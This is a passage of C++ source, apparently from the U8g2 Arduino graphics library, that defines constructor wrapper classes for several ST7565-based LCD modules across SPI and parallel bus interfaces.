U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6059_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6059_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6059_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6059_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_F_6800 : public U8G2 {\n  public: U8G2_ST7565_LM6059_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_F_8080 : public U8G2 {\n  public: U8G2_ST7565_LM6059_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_KS0713_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_KS0713_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_KS0713_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_KS0713_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_KS0713_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_F_6800 : public U8G2 {\n  public: U8G2_ST7565_KS0713_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_F_8080 : public U8G2 {\n  public: U8G2_ST7565_KS0713_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_LX12864_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LX12864_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LX12864_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_LX12864_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LX12864_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_F_6800 : public U8G2 {\n  public: U8G2_ST7565_LX12864_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_F_8080 : public U8G2 {\n  public: U8G2_ST7565_LX12864_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_F_6800 : public U8G2 {\n  public: U8G2_ST7565_ERC12864_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_F_8080 : public U8G2 {\n  public: U8G2_ST7565_ERC12864_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_F_6800 : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_ALT_F_8080 : public U8G2 {\n  public: U8G2_ST7565_ERC12864_ALT_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_alt_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_F_6800 : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12864_F_8080 : public U8G2 {\n  public: U8G2_ST7565_NHD_C12864_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12864_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_JLX12864_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_JLX12864_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_JLX12864_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_JLX12864_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_JLX12864_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_F_6800 : public U8G2 {\n  public: U8G2_ST7565_JLX12864_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_F_8080 : public U8G2 {\n  public: U8G2_ST7565_JLX12864_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_nhd_c12832_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_NHD_C12832_1_6800 : public U8G2 {\n  public: U8G2_ST7565_NHD_C12832_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t 